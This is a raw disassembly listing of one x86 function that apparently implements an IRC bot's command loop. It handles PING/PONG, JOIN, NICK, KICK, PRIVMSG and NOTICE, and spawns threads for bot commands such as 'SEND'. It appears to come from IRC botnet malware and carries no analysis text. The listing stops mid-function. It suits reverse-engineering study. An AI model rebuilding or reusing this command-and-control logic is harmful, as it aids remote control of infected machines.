var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D128 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D124 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D120 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D060


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D03C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42D020
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BD
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFE0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
